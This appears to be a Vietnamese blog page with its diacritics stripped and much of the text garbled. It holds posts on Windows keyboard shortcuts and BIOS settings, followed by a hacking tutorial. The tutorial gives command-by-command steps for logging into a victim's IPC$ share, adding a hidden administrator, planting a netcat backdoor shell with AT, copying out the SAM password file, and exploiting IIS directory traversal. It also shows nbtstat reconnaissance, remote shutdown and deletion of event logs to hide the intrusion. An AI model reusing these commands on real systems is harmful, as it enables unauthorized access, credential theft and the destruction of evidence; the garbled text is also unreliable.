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Hnh trnh ngn dm bt u t mt bc i
Hy m nhng g bn c m; i ni no bn mun i{ lm nhng g b~ kh khao; tr thnh nhng ai m bn mong mun, bi v bn ch c mt cuc`i v mt c hi lm tt c nhng g(bn m c...
r9-04-2008
17 phm tt v gi trn bn phm
F2: t li tn file trong lc vi vng c th khin bn d dng thao tc sai click qu nhanh v bn tnh c m mt file. n gin hn l hy nhn phm F2 trn bn phm khi file c chn. Ctrl + F2: Preview (xem li) vn bn. Mun b ch preview, lm li Ctrl + F2. Shift + F3: lm ni bt on vn bn bng ch in hoa, n gin l bi en on vn bn, nhn ng thi phm Shift + F3. Nu mun cho on vn bn tr li ch thng, hy lp li ng tc nhn ng thi Shift + F3. Mun cho ch ci u tin tr thnh ch in hoa, t con tr trc ch v nhn phm Shift + F3. Windows + E: Windows Explorer l cng ti file v ti liu ca bn song m n thng phi lin quan n desktop hoc thanh Start Menu. C mt cch khc nhanh hn l nhn phm Windows-E v n s a bn n ngay Computer (Vista) hay My Computer (XP), mt v tr mc nh sn. Windows + F: Tm kim file c th l mt rc ri nu bn l mt ngi tch tr ti liu v cch khng lng ph thi gian sn tm file l s dng phm tt , s m ra mt ca s tm kim v in vo cng nhiu thng tin c th v file bn ang cn tm. Windows + L: ng tc ny s kha ngay PC ca bn m khng cn ch cho n khi ch bo v mn hnh hot ng. Windows + M: Vo cui ngy lm vic, mi ngi b bi thc vi mt b su tp cc ca s ang m. s thu nh nhng ca s ny l ra mn hnh chnh (desktop) v s khi phc li nhng th bn b thu nh trc . Windows + R: Hp Run ny l cch tit kim thi gian cc ln vi XP. T y, bn c th m tt c loi ng dng m khng cn chut. Windows + F1: Trong khi F1 s a ra cho bn file Help (H tr) trong hu ht cc ng dng, s m ca s Windows Help. iu ny c th gip bn tit kim thi gian khi bn khng th nh lm th no thay i mt s sp t hoc tm mt tnh nng nht nh. Windows + Tab: Chuyn dch gia cc chng trnh bn ang s dng. XP, bn c th chuyn cc ca s bng cch nhn phm chn n v taskbar vi mu sc khc (xm hoc xanh) nhn mnh, ri dng cc phm iu hng ln hoc xung. Nhn phm Enter s a bn n ca s c la chn.
Windows + Pause/Break: Vi nhng ngi nng cp v iu chnh phn cng, truy cp qun l thit b Device Manager v cc ci t l mt nhim v thng xuyn. Phm tt ny s em li ngay ca s cn thit cho h trong nhy mt. Shift + Delete: Thng rc Recycle Bin l ch tuyt vi dnh cho nhng ai hay xa cc file m khng suy ngh song n cng tim n nguy c cho php ngi khc c th truy cp vo cc file nhy cm. Gi phm (hoc gi phm Shift trong khi ko file hoc tp vo thng rc). Cc file s b xa ngay tc th. Ctrl + Enter: Mt khi bn ch thanh a ch trong trnh duyt Firefox hoc Internet Explorer, bn c th tit kim thi gian bng vic g ch phn gia ca mt tn min. s thm www. v .com cho bn. thm www. V .org. Alt + Esc: Nu bn cn chuyn nhanh n mt ca s khi ang lm vic mt ca s khc, bn c th chn n t thanh taskbar. s kh ca s pha sau ca bn v a bn n mt ca s k ngay . Alt + F4: B ng dng ang hot ng hoc tt Windows nu khng c ng dng no. Alt + PrtScrn: Nu bn cn chp mt ca s, ch cn gi tm c mt ca s hot ng. Alt + Backspace: Trong Microsoft Office, bn c th lm li bt k hiu chnh t ng no v nh dng t ng bng vic nhn phm . http://giaitri.tuvanonline.com/showthread.php?t=24200 c ng bi haodalat ti 7:08 CH 0 nhn xet Nhan: HotKey, TH THUT IT
Cch Setup BIOS
Khi khi ng my ln u tin, my tnh s c mt tp hp d liu c lu trong CMOS (mt chip b nh c bit lun hot ng nh 1 cc pin nh), khng c thng tin ny my tnh s b t lit. Vic xc lp cc thng tin ny gi l Setup Bios v bao gi ngi bn cng phi lm th tc Setup Bios ngay sau khi rp my. Nhng bn cng phi bit cch Setup Bios phng trng hp my t mt cc thng tin lu trong Bios v cc l do nh: Ht pin, nhiu in, virus...Hin nay, ngi ta dng Flash Ram lu thng tin Bios nn khng cn phi c Pin nui trn mainboard. Ty Mainboard, cc mc trong Bios c th khc nhau theo tng hng ch to (Award, Ami, Pheonix...) nhng v cn bn chng vn ging nhau v trong phn ny ch yu bn v cn bn, cn cc tnh nng ring bn phi chu kh tm hiu thm nh vo cc kin thc cn bn ny. Mn hnh Bios Setup a s l mn hnh chy ch TEXT. Gn y ang pht trin loi BiosWin (Ami) c mn hnh Setup gm nhiu ca s ging tng t Windows v s dng c Mouse trong khi Setup nhng cc mc vn khng thay i. Ch thao tc vo Bios Setup l: Bm phm Del khi mi khi ng my i vi my i Loan. i vi cc my M, thng l bn phi thng qua chng trnh qun l my ring ca tng hng nu mun thay i cc thng
s ca Bios. * Bios thng: Di chuyn vt sng la chn mc bng cc phm mi tn. Thay i gi tr ca mc ang Set bng 2 phm Page Up v Page Dn. Sau nhn phm Esc thot khi mc (gi tr mi s c lu tr). Nhn F10 thot Setup Bios nu mun lu cc thay i, khi hp thoi hin ra, bm Y lu, N khng lu. Nhn Esc nu mun thot m khng lu thay i, khi hp thoi hin ra, bm Y khng lu, N tr li mn hnh Setup Bios. * Bios Win: Mn hnh Setup xut hin di dng ha gm nhiu ca s, s dng c mouse nu bn c mouse loi: PS/2 mouse, Microsoft mouse, Serial mouse, Logitect C mouse. Dng mouse bm kp vo ca s m mt thnh phn, bm vo mc cn thay i, mt ca s lit k gi tr xut hin, bm vo gi tr mun chn ri thot bng cch bm vo nh gc trn bn tri. Nu khng c mouse, dng cc phm mi tn di chuyn, n mc cn thay i bm Enter, xut hin hp lit k, chn gi tr mi, bm Enter, cui cng bm Esc. 1. Setup cc thnh phn cn bn (Standard CMOS Setup): y l cc thnh phn c bn m Bios trn tt c cc loi my PC phi bit qun l v iu khin chng. * Ngy, gi (Date/Day/Time): Bn khai bo ngy thng nm vo mc ny. Khai bo ny s c my tnh xem l thng tin gc v s bt u tnh t y tr i. Cc thng tin v ngy gi c s dng khi cc bn to hay thao tc vi cc tp tin, th mc. C chng trnh khi chy cng cn thng tin ny, th d bo cho bn cp nht khi qu hn, chm dt hot ng khi n ngy quy nh...Bnh thng bn Set sai hay khng Set cng chng nh hng g n hot ng ca my. Cc thng tin ny c th sa cha trc tip ngoi Dos bng 2 lnh Date v Time, hay bng Control Panel ca Windows m khng cn vo Bios Setup. Ch : ng h my tnh lun lun chy chm khong vi giy/ngy, thnh thong bn nn chnh li gi cho ng. Nhng nu qu chm l c vn cn phi thay mainboard. * a mm (Drive A/B): Khai bo loi a cho A v B, bn cn c vo vic ni dy cho a xc nh. a ni vi u ni ngoi cng ca dy ni l A, kia l B. c kch thc ln l 1.2M 5.25 inch, nh l 1.44M 3.5 inch. Nu khng c th chn Not Installed. Nu bn khai bo sai, a s khng hot ng ch khng h hng g, bn ch cn khai bo li. Trong cc mainboard s dng Bios i mi, khai bo sai loi da 1.2Mb thnh 1.4Mb hay ngc li, da vn hot
ng bnh thng nhng ku rt ln lc mi bt u c a, v lu di c th h a. Cc Bios v cc card I/O i mi cho php bn tro i 2 a mm m khng cn tro i dy (swap floppy drive), tc l A thnh B v ngc li khi s dng. Khi tro i bng cch Set jumper trn card I/O, bn nh khai bo li trong Bios Setup (Khi tro bng lnh Swap trong Bios th khng cn khai bo li), nhng c ng dng khng chu ci t khi Swap a mm, nht l cc ng dng c bo v chng sao chp. * a cng (Drive C/D) loi IDE: Phn khai bo a cng rc ri hn, bt buc bn phi khai bo chi tit cc thng s, bn khai bo sai khng nhng cng khng hot ng m i khi cn lm h cng nu bn khai bo qu dung lng tht s ca cng v cho tin hnh FDISK, FORMAT theo dung lng sai ny. May mn l cc Bios sau ny u c phn d tm thng s cng IDE t ng (IDE HDD auto detection) nn cc bn khi mc cng nh khi s dng a cng loi IDE. Chng ti s ni v phn auto detect ny sau. Ngoi ra, cc cng sau ny u c ghi thng s trn nhn dn trn mt. Bn cho chy Auto detect, Bios s t ng in cc thng s ny dm bn. Vic khai bo cng C v D i hi phi ng vi vic Set cc jumper trn 2 cng. Bn xc lp cng khng phi qua u ni dy m bng cc jumper trn mch iu khin cng. Cc cng i mi ch c mt jumper 3 v tr: duy nht, Master ( C), Slave ( D) v c ghi r cch Set trn nhn. Cc a cng i c nhiu jumper hn nn nu khng c ti liu hng dn l rc ri, phi m mm rt lu. * a cng (Drive E/F) loi IDE: Cc Bios v cc card I/O i mi cho php gn 4 da cng, v hin nay cc da CDROM cng s dng u ni cng hot ng, gi l CDROM Interface IDE (giao din a IDE) n gin vic lp t. Ch : Khai bo l NONE trong Bios Setup cho a CD-ROM. * Mn hnh (Video) - Primary Display: EGA/VGA: Dnh cho loi mn hnh s dng card mu EGA hay VGA, Super VGA. CGA 40/CGA 80: Dnh cho loi mn hnh s dng card mu CGA 40 ct hay CGA 80 ct. Mono: Dnh cho loi mn hnh s dng card trng en, k c card VGA khi dng mn hnh trng en.
* Treo my nu pht hin li khi khi ng (Error Halt): Tt c li (All error): Treo my khi pht hin bt c li no trong qu trnh kim tra my, bn khng nn chn mc ny v Bios s treo my khi gp li u tin nn bn khng th bit cc li khc, nu c. B qua li ca Keyboard (All, But Keyboard): Tt c cc li ngoi tr li ca bn phm. B qua li a (All, But Diskette): Tt c cc li ngoi tr li ca a. B qua li a v bn phm (All, But Disk/Key): Tt c cc li ngoi tr li ca a v bn phm. Khng treo my khi c li (No error): Tin hnh qu trnh kim tra my cho n khi hon tt d pht hin bt c li g. Bn nn chn mc ny bit my b trc trc b phn no m c phng hng gii quyt. * Keyboard: Install: Cho kim tra bn phm trong qu trnh khi ng, thng bo trn mn hnh nu bn phm c li. Not Install: Khng kim tra bn phm khi khi ng. Ch : chn mc ny khng c ngha l v hiu ho bn phm v nu vy lm sao iu khin my. N ch c tc dng cho Bios khi mt cng kim tra bn phm nhm rt ngn thi gian khi ng. 2. Setup cc thnh phn nng cao (Advanced Setup): * Virut Warning: Nu Enabled, Bios s bo ng v treo my khi c hnh ng vit vo Boot sector hay Partition ca a cng. Nu bn cn chy chng trnh c thao tc vo 2 ni nh: Fdisk, Format... bn cn phi Disable mc ny. * Internal cache: Cho hiu lc (enable) hay v hiu ho (disable) Cache (L1) ni trong CPU 486 tr ln. * External cache: Cho hiu lc (enable) hay v hiu ho (disable) cache trn mainboard, cn gi l Cache mc 2 (L2). * Quick Power On Self Test: Nu enable Bios s rt ngn v b qua vi mc khng quan trng trong qu trnh khi ng, gim thi gian khi ng ti a.
* About 1 MB Memory Test: Nu Enable Bios s kim tra tt c b nh. Nu Disable Bios ch kim tra 1 Mb b nh u tin. * Memory Test Tick Sound: Cho pht m thanh (enable) hay khng (disable) trong thi gian test b nh. * Extended Bios Ram Area: Khai bo mc ny nu mun dng 1 Kb trn nh ca b nh quy c, tc Kb bt u t a ch 639K hay 0:300 ca vng Bios h thng trong b nh quy c lu cc thng tin v a cng. Xc lp c th l 1K hay 0:300. * Swap Floppy Drive: Tro i tn 2 a mm, khi chn mc ny bn khng cn khai bo li loi a nh khi tro bng cch Set jumper trn card I/O. * Boot Sequence: Chn a cho Bios tm h iu hnh khi khi ng. C th l C ri n A hay A ri n C hay ch c C. Bn nn chn C,A hay ch c C, phng trng hp v tnh khi ng bng a mm c Virus. Hin nay trn cc Mainboard Pentium. Bios cho php bn ch nh khi ng t 1 trong 2 mm hay trong 4 cng IDE hay bng cng SCSI thm ch bng CD Rom cng c. * Boot Up Floppy Seek: Nu Enable Bios s d tm kiu ca a mm l 80 track hay 40 track. Nu Disable Bios s b qua. Chn enable lm chm thi gian khi ng v Bios lun lun phi c a mm trc khi c a cng, mc d bn chn ch khi ng bng C. * Boot Up Numlock Status: Nu ON l cho phm Numlock m (n Numlock sng) sau khi khi ng, nhm phm bn tay phi bn phm dng nh s. Nu OFF l cho phm Numlock tt (n Numlock ti), nhm phm bn tay phi dng di chuyn con tr. * Boot Up System Speed: Quy nh tc ca CPU trong thi gian khi ng l High (cao) hay Low (thp). * Memory Parity Check: Kim tra chn l b nh. Chn theo mainboard v c loi cho php mc ny enable, c loi bt bn phi disable mi chu chy. u tin bn chn enable, nu my treo bn chn li l disable. Mc ny khng nh hng n h
thng, ch c tc dng kim tra Ram. * IDE HDD Block Mode: Nu a cng ca bn h tr kiu vn chuyn d liu theo tng khi (cc a i mi c dung lng cao). Bn cho enable tng tc cho a. Nu a i c bn cho disable mc ny. * Pri. Master/Slave LBA (Logic Block Addressing) Mode: Nu 2 a cng c ni vo u ni Primary ca card I/O c dung lng ln hn 528Mb, bn cho enable mc ny. * Sec. IDE Ctrl Drives Install: Mc ny khai bo my bn c a cng ni vo u ni Secondary ca card I/O. Cc ch nh c th l Master, Mst/Slv v disable. * Sec Master/Slave LBA Mode: Xc lp LBA cho u ni th 2. Ch : Cc mc h tr cho a cng c dung lng ln v cc card I/O i mi gip bn s dng a c dung lng trn 528Mb. Trong trng hp bn cho enable cc mc ny ri mi tin hnh Fdisk v Format a, nu sau bn li disable cc mc ny hay em gn qua my khc cng chn disable, bn s khng th s dng c da cng. Khi dng CDROM c u ni I E, bn nn gn vo u ni Secondary khi nh h g n da cng (gn vo u ni Pri) khi cn chy 32BitDiskAccess trong Windows. * Typematic Rate etting: Nu enable l bn cho 2 mc di y c hiu lc. 2 mc ny thay th lnh Mode ca DOS, quy$nh tc v$thi gian tr a bn phm. * Typematic!Rate (Chars/Sec): Bn la chn s k t/giy tu theo tc nh phm nhanh ha chm ca n. Nu bn Set thp hn tc nh th my s pht ting Bip khi n chy theo khng kp. Typematic Delay (Msec): Ch nh thi gian lp li k t khi bn bm v gi lun phm, tnh bng mili giy. * Security ption: Mc ny dng gii hn vic s dng h thng v Bios Setup. Setup: Gii hn vic thay i Bios Setup, mi {hi mun vo Bios Setup n phi nh ng mt khu quy nh$trc. Sysem hay Always: Gii hn vic s ng my. Mi khi m my, Bios lun
lu~ hi mt khu, nu khng bit mt khu Bios s khng cho php s dng my. Ch Trng trng hp bn cha ch nh mt khu, Disable (v hiu ho) mc ny, bn chn Password Setting, bn ng nh g vo cc nhp mt khu m ch cn bm ENTER. Trong trng hp bn c ch nh mt khu nay li mun b i. Bn chn Password Setting, bn nh mt khu c vo nhp mt khu c (Old Password) cn trong n p mt khu i 8New Password) bnng nh g c m ch c n bm ENTER. C mainboard thit k thm 1 jump r xo ring mt khu ngoi jumper xo ton b thng tin trong CMOS. t hn ht l bn ng s dng mc ny v bn thn chng ti chng kin rt nhiu trng hp d khc d ci do mc ny gy ra. Li t m hi nhiu. Ch nhng my tnh cng cng mi phi s dng ti mc ny thi. * System Bios Shadow, Video Bios Shadow: Nu enable l cho copy cc d liu v System v Video trong Bios (c tc chm) vo Ram (tc nhanh) rt ngn thi gian khi cn truy nhp vo cc d liu ny. * Wait for if Any Error: Cho hin thng bo ch n phm F1 khi c li. * Numeric Processor: Thng bo c gn CPU ng x l (Present) trn my hay khng (absent). Mc ny thng c cho cc my dng CPU 286, 386, 486SX. T 486DX tr v sau c con ng x l bn trong CPU nn trn cc my mi c th khng c mc ny. * Turbo Switch Funtion: Cho nt Turbo c hiu lc (enable) hay khng (disable). Mc ny thng thy cc Bios i c, trn cc my i mi la chn ny thng bng cch Set jumper ca Mainboard. T Mainboard pentium tr i khng c mc ny. 3. Setup cc thnh phn c lin quan n vn hnh h thng (Chipset Setup): * Auto Configuration: Nu enable, Bios s t ng xc lp cc thnh phn v DRAM, Cache...mi khi khi ng ty theo CPU Type (kiu CPU) v System Clock (tc h thng). Nu Disable l cho bn t ch nh. * AT Clock Option: Nu Async (khng ng b) l ly dao ng chun ca b dao ng thch anh chia i lm tc hot ng cho AT Bus (bus 8 - 16Bit). Thng l
14.318MHz/2 tc 7.159MHz. C Bios cn cho chn tc ca mc ny l 14.318MHz. Nu Sync (ng b) l dng System Clock (do bn ch nh bng cch Set jumper trn mainboard) lm tc chun. * Synchronous AT Clock/AT Bus Clock Selector: Ch nh tc hot ng cho AT Bus bng cch ly tc chun (system clock) chia nh cn li khong 8MHz cho ph hp vi card 16Bit. Cc la chn nh sau: CLKI/3 khi system clock l 20 - 25MHz. CLKI/4 khi system clock l 33MHz. CLKI/5 khi system clock l 40MHz. CLKI/6 khi system clock l 50MHz. Tc ny cng ln (s chia cng nh), my chy cng nhanh do tng tc vn chuyn d liu. Tuy nhin ln n u l cn ty thuc vo mainboard v card cm trn cc Slot (quan trng nht l card I/O). Cc bn phi th nghim gim s chia tng nc v ch my c khi ng hay c a bnh thng khng, nu pht sinh trc trc th gim xung 1 nc. Thng th bn c th tng c 2 nc, th d: System clock l 40MHz, bn chn CLKI/3. Card ISA 8 v 16 Bit c th chy tt trong khong t 8MHz n 14MHz. Nu nhanh qu, thng card I/O gp trc trc trc (khng c c a cng). * AT Cycle Wait States/Extra AT Cycle WS: enable hay disable vic chn thm 1 thi gian ch vo thi gian chun ca AT Bus. Nu system clock di 33MHz chn disable. Nu trn 33MHz chn enable. * Fast AT Cycle: Khi enable s rt ngn thi gian chun ca AT Bus. * DRAM Read Wait States/DRAM Brust Cycle: Di 33MHz l: 3 - 2 - 2 - 2 hay 2 - 1 - 1 - 1 T 33 - 45MHz l: 4 - 3 - 3 - 3 hay 2 - 2 - 2 - 2 50MHz l: 5 - 4 - 4 - 4 hay 3 - 2 - 2 - 2 Chn mc ny nh hng ln n tc CPU. * DRAM/Memory Write Wait States: Chn 1WS khi h thng nhanh hay DRAM chm (tc 40MHz tr ln). Chn 0WS khi h thng v DRAM c th tng thch (33MHz tr xung).
* Hidden Refresh Option: Khi enable, CPU s lm vic nhanh hn do khng phi ch mi khi DRAM c lm ti. * Slow Refresh Enable: Mc ny nhm bo m an ton d liu trn DRAM, thi gian lm ti s ko di hn bnh thng. Bn ch c enable mc ny khi b nh ca my h tr vic cho php lm ti chm. * L1 Cache Mode: La chn gia Write-Through v Write-Back cho Cache ni trong CPU 486 tr ln. Xc lp Write-Through my s chy chm hn Write-Back nhng vic lc chn cn tu thuc vo loi CPU. * L2 Cache Mode: Xc lp cho cache trn mainboard. * IDE HDD Auto Detection/IDE SETUP: Khi chn mc ny s xut hin mt ca s cho bn ch nh a cn d tm thng s (2 hay 4 a tu theo Bios). Sau bn bm OK hay YES Bios in vo phn Standard dm cho bn. Trong Bios i mi, Auto detect c th a ra vi loi a. Tu theo cch s dng da (normal, LBA,...) m bn chn loi thch hp. * Power Management Setup: i vi CPU 486: Phn ny l cc ch nh cho chng trnh tit kim nng lng sn cha trong cc Bios i mi. Chng trnh ny dng c cho c 2 loi CPU: Loi thng v loi CPU kiu S. CPU kiu S hay CPU c 2 k t cui SL l mt loi CPU c ch to c bit, c thm b phn qun l nng lng trong CPU. Do trong phn ny c 2 loi ch nh dnh cho 2 loi CPU. i vi Pentium: Dng chung cho mi loi Pentium hay cc chp ca cc hng khc cng i vi Pentium. * Power Management/Power Saving Mode: Disable: Khng s dng chng trnh ny. Enable/User Define: Cho chng trnh ny c hiu lc. Min Saving: Dng cc gi tr thi gian di nht cho cc la chn (tit kim nng lng t nht).
Max Saving: Dng cc gi tr thi gian ngn nht cho cc la chn (tit kim nhiu nht). * Pmi/Smi: Nu chn SMI l my ang gn CPU kiu S ca hng Intel. Nu chn Auto l my ang gn CPU thng. * Doze Timer: Mc ny ch dng cho CPU kiu S. Khi ng thi gian my rnh (khng nhn c tn hiu t cc ngt) theo quy nh, CPU t ng h tc xung cn 8MHz. Bn chn thi gian theo bn (c th t 10 giy n 4 gi) hay disable nu khng mun s dng mc ny. * Sleep Timer/Standby timer: Mc ny ch dng cho CPU kiu S. Ch nh thi gian my rnh trc khi vo ch Sleep (ngng hot ng). Thi gian c th t 10 giy n 4 gi. * Sleep Clock: Mc ny ch dng cho CPU kiu S: Stop CPU h tc xung cn 0MHz (ngng hn). Slow CPU h tc xung cn 8MHz. * HDD Standby Timer/HDD Power Down: Ch nh thi gian ngng motor ca a cng. * CRT Sleep: Nu Enable l mn hnh s tt khi my vo ch Sleep. * Ch nh: Cc ch nh cho chng trnh qun l ngun bit cn kim tra b phn no khi chy. Ch : Do Bios c sn xut s dng cho nhiu loi my khc nhau nn cc bn lun lun gp phn ny trong cc Bios. Thc ra chng ch c gi tr cho cc my xch tay (laptop) v xi pin nn vn tit kim nng lng c t ln hng u. Chng ti khuyn cc bn ang s dng my bn (desktop) nn v hiu ho tt c cc mc trong phn ny, trnh cc tnh hung bt ng nh: ang ci chng trnh, t nhin my ngng hot ng, ang chy Defrag t nhin my chm cc k.... 4. Phn dnh ring cho Mainboard theo chun giao tip PCI c I/O v IDE On Board (peripheral Setup): * PCI On Board IDE: Cho hiu lc (enabled) hay v hiu (disabled) 2 u ni a cng IDE trn mainboard. Khi s dng Card PCI IDE ri, ta cn chn disabled.
* PCI On Board Secondary IDE: Cho hiu lc (enabled) hay v hiu (disabled) u ni a cng IDE th 2 trn mainboard. Mc ny b sung cho mc trn v ch c tc dng vi u ni th 2. * PCI On Board Speed Mode: Ch nh kiu vn chuyn d liu (PIO speed mode). C th l Disabled, mode 1, mode 2, mode 3, mode 4, Auto. Trong mode 4 l nhanh nht. * PCI Card Present on: Khai bo c s dng Card PCI IDE ri hay khng v nu c th c cm vo Slot no. Cc mc chn l: Disabled, Auto, Slot 1, Slot 2, Slot 3, Slot 4. * PCI IRQ, PCI Primary IDE IRQ, PCI Secondary IDE IRQ: Ch nh cch xc lp ngt cho Card PCI IDE ri. Ch : Trong mc ny c phn xc lp th t gn ngt cho cc Card b sung. Th d: 1 = 9, 2 = 10, 3 = 11, 4 = 12 c ngha l Card u tin cm vo bt k Slot no s c gn ngt 9, nu c 2 Card th Card cm vo Slot c s th t nh s c gn ngt 9, Slot c s th t ln s c gn ngt 10.v..v... * IDE 32Bit Transfers Mode: Xc lp ny nhm tng cng tc cho a cng trn 528Mb, nhng cng c a khng khi ng c khi enabled mc ny d fdisk v format vn bnh thng. * Host to PCI Post Write W/S, Host to PCI Burst Write, Host to DRAM Burst Write: Cc mc ny xc lp cho PCU Bus, khng nh hng nhiu n tc CPU, c th nguyn xc lp mc nhin. * PCI Bus Park, Post Write Buffer: Khi enabled cc mc ny c th tng cng thm tc h thng. * FDC Control: Cho hiu lc hay khng u ni cp v xc lp a ch cho a mm. * Primary Seral Port: Cho hiu lc hay khng cng COM 1 v xc lp a ch cho cng ny. * Secondary Serial Port: Cho hiu lc hay khng cng COM 2 v xc lp a ch cho cng ny. Ch : Nu bn s dng Card b sung c xc lp i ch l COM 1 hay COM 2, bn phi disabled cng tng ng trong hai mc trn.
* Parallel Port: Cho hiu lc hay khng cng LPT 1 v xc lp a ch cho cng ny. 5. Hng dn Setup Bios: Trong cc ti liu i km mainboard, u c hng dn Setup Bios. Khi mua my hay mua mainboard, cc bn nh i cc ti liu ny v n rt cn cho vic s dng my. Trong cc phn Setup trn, phn Standard, Advanced c nh hng n vic cu hnh my. Phn Chipset nh hng n tc my. Phn PCI nh hng n cc gn ngt, a ch cho cc Slot PCI, cng; cch vn chuyn d liu cho IDE On Board. Nu gp cc thnh phn hon ton mi, trc tin bn hy Set cc thnh phn bit, kim tra vic thay i ca my, cui cng mi Set ti cc thnh phn cha bit. Chng ti xin nhc li, vic Setup Bios sai khng bao gi lm h my v cc bn s d dng Setup li nh vo chnh Bios. Trn mainboard lun lun c 1 Jumper dng xa cc thng tin lu trong CMOS bn c th to li cc thng tin ny trong trng hp khng th vo li Bios Setup khi khi ng my. Khi tin hnh tm hiu Setup Bios, bn nn theo mt nguyn tc sau: Ch Set tng mc mt ri khi ng my li, chy cc chng trnh kim tra xem tc CPU, a c thay i g khng?. Cch lm ny gp bn pht hin c nh hng ca tng mc vo h thng v bn c th bit chc trc trc pht sinh do mc no sa cha. Khi xy ra trc trc m bn khng bit i ph, bn ch cn vo li Bios Setup chn Load Bios Default hay bm F6 trong phn Set m bn mun phc hi sau khi ng my li l xong. http://giaitri.tuvanonline.com/showthread.php?t=14075 c ng bi haodalat ti 7:04 CH 0 nhn xet Nhan: BIOS, C TH BN CHA BIT, TH THUT IT
27-04-2008
Phn 1 : Net
Cc lnh c bn xm nhp my tnh

ch cn b chu c c User v Passwords ca mt IP no trn Netth l b chu c th kt ni mt IPC$ ri y.by gi tui xin v d l bc c c User la hbx v passwords : 123456IP : 127.0.0.1 Hy m trnh Ms dos v g vo lnh sau : Net use \\127.0.0.1\ipc$ 123456 /user:hbx kt ni mt IPC$ vi my victtim
nhng thao tc tip theo..bn nht thit phi login xong mi c th s dng by gi chng ta ni tip lm th no to mt user mi chng ta cng thm mt user mi l heibai v password lovechina Net user heibai lovechina / add nu bn thnh cng.th c th cng user ny vo nhom Adminstrator Net Localgroup Adminstrator heibai / add trong phn ny t hng dn to mt a o trn computer Net use z: \\127.0.0.1\C$ ( hoc l IPC$ ) Z l ca mnhcn C$ l ca Victim Phn 2 : AT thng thng th khi p nhp vo my tnh..chng ta s tng qu lu nim cho victim trc khi rt lui,.vy khi copy trojan ln my rilm th no d khi ng n y ? chng ta phi dng n lnh AT th xem. u tinchng ta cn bit thi gian ca i phng Net time \\127.0.0.1 by gi th n s phn hi thi gian ca victimvd : 12:0 .. tip theo..chng ta cn to mt homework ID = 1 AT \\127.0.0.1 12:3 nc.exe y gi thit l tui c con trojan la Nc.exe v c copy ln my victim ri * gii thiu cht it v NCNC l t vit tc ca NETCAT.n l mt telnet server vi port 99 i n 12:3 l n s t chy trn my nn nhn v chng ta c th connected n port 99..th l xong phn lu bt phn 3 : Telnet
y l mt lnh rt cn thit khi xm nhp my tnhn c th kt ni v my tnh khc t xa..nhng thng thi phi c I D & PW..nhng nu my n n ri th bn ch cn connected n port 99 l ok Telnet 127.0.0.1 99 th l b kt ni n port 99 v c th thc hin tt c cc lnh Phn 4 : Copy by gi chng ta ni tiplm th no copy files trn my mnh ln my victim v lm ngc li.nhng bn phi c kt ni IPC$ ci . chng ta copy files index trn C ca mnh ln C ca 127.0.0.1 Copy Index.html \\127.0.0.1\C$\index.html nu bn copy ln folder winNt Copy index.html \\127.0.0.1\admin$\index.html mun copy files trn my victm th bn g vo : Copy \\127.0.0.1\Admin$\repair\sam._c:\ phn 5 : Set nu bn mun hack mt websitett nhin l phi m port 80..nu khng th hack cho ai xem ? ti lc dng lnh Set ri sau y l kt qu m t tm thychng ta phn tch nghe.ch yu l mun bit homepage n u th. COMPUTERNAME=PENTIUMII ComSpec=D:\WINNT\system32\cmd.exe CONTENT_LENGTH=0 GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=*/* HTTP_ACCEPT_LANGUAGE=zh-cn HTTP_CONNECTION=Keep-Alive HTTP_HOST= DAY LA SO IP CUA TUI..NHUNG TUI DEL ROIHTTP_ACCEPT_ENCODING=gzip, deflate HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1 Os2LibPath=D:\WINNT\system32\os2\dll; OS=Windows_NT Path=D:\WINNT\system32;D:\WINNT PATHEXT=.COM;.EXE;.BAT;.CMD PATH_TRANSLATED=E:\vlroot DAY LA URL CUA HOMEPAGE CHI CAN NHIN SAU DONG PATH_TRANSLATED= LA BIET NO O DAU O DAY LA E:\vlroot PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0303 PROMPT=$P$G QUERY_STRING=/c+set REMOTE_ADDR=XX.XX.XX.XX REMOTE_HOST=XX.XX.XX.XX REQUEST_METHOD=GET SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe SERVER_NAME=XX.XX.XX.XX SERVER_PORT=80 SERVER_PORT_SECURE=0 SERVER_PROTOCOL=HTTP/1.1 SERVER_SOFTWARE=Microsoft-IIS/3.0 SystemDrive=D: SystemRoot=D:\WINNT TZ=GMT-9 USERPROFILE=D:\WINNT\Profiles\Default User windir=D:\WINNT y l cch rt ngu..nhng ch c cch ny mi 100% bit uc homepage tn g.. du? khi cu Dir ..chc chn l s View c rt nhiu files y`.. phn 6 : Nbtstat nu cu Scan uc mt my s dng Winntopen port 135-139th th b phi dng lnh ny bit thm user thi * tin th xin ni lun..y l netbios.sau khi c user ri bn c th on m password..nu khng thi Cracking lun i Nbtstat - A XXX.XXX.XXX.XXX sau y l kt qu t scan c.. NetBIOS Remote Machine Name Table Name Type Status
Registered Registered Registered Registered Registered Registered Registered Reg istered Registered Registered Registered MAC Address = 00-E0-29-14-35-BA PENTIUMII <00> UNIQUE PENTIUMII <20> UNIQUE ORAHOTOWN <00> GROUP ORAHOTOWN <1C> GROUP ORAHOTOWN <1B> UNIQUE PENTIUMII <03> UNIQUE INet~Services <1C> GROUP IS~PENTIUMII<00> UNIQUE ORAHOTOWN <1E> GROUP ORAHOTOWN <1D> UNIQUE ..__MSBROWSE__.<01> GROUP kt qu cho bit User l PENTIUMIII phn 7 : Shutdown nhn lnh thi cng bit ri phi khng ? y l lnh shutdown server Winnt Shutdown \\127.0.0.1 t:20 20 giy sauWinnt s t khi ng li.hi vng cc bn suy ngh k trc khi dng lnh ny.v n s lm tn tht rt nng cho victimhy lm tay hacker c o c phn 8 : Dir. lnh ny khng c g ni ht..ch dng view thi .. phn 9 : Del lnh ny ging nh xo nht k vy ..khi chng ta xm nhp my tnh trn h thng s lu li thng tin ca chng ta..v th..nn del n ich mun b tm c h ? sau y l nhng files nht k ca Winnt del del del del C:\winnt\system32\logfiles\*.* C:\winnt\ssytem32\config\*.evt C:\winnt\system32\dtclog\*.* C:\winnt\system32\*.log
